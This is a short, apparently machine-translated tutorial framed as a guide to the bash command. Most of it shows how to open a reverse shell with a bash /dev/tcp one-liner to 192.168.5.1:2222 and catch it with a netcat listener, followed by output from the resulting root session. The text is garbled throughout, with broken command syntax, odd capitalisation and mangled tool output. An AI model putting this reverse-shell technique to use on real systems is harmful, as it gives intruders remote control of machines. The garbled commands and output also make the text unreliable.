Linux Command: bash language details, linux Command bash details
Bash is a command interpretation language. It can execute commands that read standard input or files, execute commands, and rebound shell with nc!
Basic syntax
Bash-c command
Root @ kali :~ # Bash-c whoami
Root
Root @ kali :~ #
In addition, use-I to run the shell in interactive mode, which is usually run on the target host.
Bash-I> &/dev/tcp/192.168.5.1/2222 0> & 1
Then, the other host uses nc to listen to the port, and a shell can be obtained!
Target Host:
Root @ kali :~ # Bash-I> &/dev/tcp/192.168.5.1/2222 0> & 1
Attack Host:
F: \ eth10-CTF-Toolkits \ CTF toolkit \ Connection Tool> nc-lvp 2222
Lstn on [any] 2222 ..
192.168.5.128: reverse hst chk phailed: h_errno 11004: NO_DATA
Connect to [192.168.5.1] from (UNKNOWN) [192.168.5.128] 53418: NO_DATA
Root @ kali :~ # Uname-
Uname-
Linux kali 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 () x86_64 GNU/Linux
Root @ kali :~ # Whoami
Whoami
Root
Root @ kali :~ # Exit